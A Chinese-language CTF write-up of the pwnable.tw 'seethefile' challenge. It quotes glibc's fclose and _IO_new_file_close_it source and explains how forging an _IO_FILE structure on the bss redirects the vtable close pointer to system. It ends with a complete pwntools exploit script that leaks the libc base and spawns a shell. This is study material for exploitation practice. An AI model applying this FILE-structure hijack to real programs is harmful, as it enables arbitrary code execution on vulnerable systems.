忙里偷闲-------一道伪造_IO_file结构体的题目
发现文件结构体指针直接放在bss段上我们可以修改,很明显就是让我们伪造_IO_FILE结构体了,根据程序逻辑我们需要仔细阅读fclose函数分析源码ing
_IO_new_fclose (_IO_FILE *fp)
{
int status;
CHECK_FILE(fp, EOF);
#if SHLIB_COMPAT (libc, GLIBC_2_0, GLIBC_2_1)
/* We desperately try to help programs which are using streams in a
strange way and mix old and new functions. Detect old streams
here. */
if (_IO_vtable_offset (fp) != 0)
return _IO_old_fclose (fp);
#endif
/* First unlink the stream. */
if (fp->_IO_file_flags & _IO_IS_FILEBUF)
_IO_un_link ((struct _IO_FILE_plus *) fp);
_IO_acquire_lock (fp);
if (fp->_IO_file_flags & _IO_IS_FILEBUF)
status = _IO_file_close_it (fp);
else
status = fp->_flags & _IO_ERR_SEEN ? -1 : 0;
_IO_release_lock (fp);
_IO_FINISH (fp);
if (fp->_mode > 0)
{
#if _LIBC
/* This stream has a wide orientation. This means we have to free
the conversion functions. */
struct _IO_codecvt *cc = fp->_codecvt;
__libc_lock_lock (__gconv_lock);
__gconv_release_step (cc->__cd_in.__cd.__steps);
__gconv_release_step (cc->__cd_out.__cd.__steps);
__libc_lock_unlock (__gconv_lock);
#endif
}
else
{
if (_IO_have_backup (fp))
_IO_free_backup_area (fp);
}
if (fp != _IO_stdin && fp != _IO_stdout && fp != _IO_stderr)
{
fp->_IO_file_flags = 0;
free(fp);
}
return status;
}
#ifdef _LIBC
versioned_symbol (libc, _IO_new_fclose, _IO_fclose, GLIBC_2_1);
strong_alias (_IO_new_fclose, __new_fclose)
versioned_symbol (libc, __new_fclose, fclose, GLIBC_2_1);
#endif
这是fclose的源码通过测试发现远程是2.23版本想到去伪造虚表,发现开始是想写finish然后发现fclose最后也会调用虚表_IO_close_t,就直接写其为system即可,我们伪造的时候会有一些曲折有一点不懂就是gs段寄存器的值,在0x48的位置要填好一个有效地址,然后_IO_FILE+0x8之后填\x00即可走到_IO_new_file_close_it
int
_IO_new_file_close_it (_IO_FILE *fp)
{
int write_status;
if (!_IO_file_is_open (fp))
return EOF;
if ((fp->_flags & _IO_NO_WRITES) == 0
&& (fp->_flags & _IO_CURRENTLY_PUTTING) != 0)
write_status = _IO_do_flush (fp);
else
write_status = 0;
_IO_unsave_markers (fp);
int close_status = ((fp->_flags2 & _IO_FLAGS2_NOCLOSE) == 0
? _IO_SYSCLOSE (fp) : 0);
/* Free buffer. */
#if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
if (fp->_mode > 0)
{
if (_IO_have_wbackup (fp))
_IO_free_wbackup_area (fp);
_IO_wsetb (fp, NULL, NULL, 0);
_IO_wsetg (fp, NULL, NULL, NULL);
_IO_wsetp (fp, NULL, NULL);
}
#endif
_IO_setb (fp, NULL, NULL, 0);
_IO_setg (fp, NULL, NULL, NULL);
_IO_setp (fp, NULL, NULL);
_IO_un_link ((struct _IO_FILE_plus *) fp);
fp->_flags = _IO_MAGIC|CLOSED_FILEBUF_FLAGS;
fp->_fileno = -1;
fp->_offset = _IO_pos_BAD;
return close_status ? close_status : write_status;
}
我们就只需要走到_IO_SYSCLOSE即可打开shell
exp:
from pwn import *
p=process('./seethefile')
#p=remote('chall.pwnable.tw',10200)
elf=ELF('./seethefile')
libc=elf.libc
#libc=ELF('./libc_32.so.6')
def menu(idx):
p.sendlineafter(':',str(idx))
def s_open(filename):
menu(1)
p.sendlineafter(':',filename)
def s_read():
menu(2)
def s_write():
menu(3)
def s_close():
menu(4)
def leave(name):
menu(5)
p.sendlineafter(':',name)
bf=0x0804B260
s_open("/proc/self/maps")
s_read()
s_write()
p.recvuntil('[heap]\n')
libcbase=int('0x'+p.recv(8),16)+0x1000
log.success('libcbase: '+hex(libcbase))
system=libcbase+libc.sym['system']
payload='/bin/sh\x00'+'\x00'*4+p32(0)+p32(0)+p32(0)*3
payload+=p32(bf)
payload=payload.ljust(0x48,'\x00')
payload+=p32(bf+0x10)
payload=payload.ljust(0x60,'\x00')
payload+=p32(0)+p32(0)+p32(system)
payload+=(0x94-0x6c)*'\x02'
payload+=p32(bf+0x60)+p32(0)*3+p32(system)
leave(payload)
p.interactive()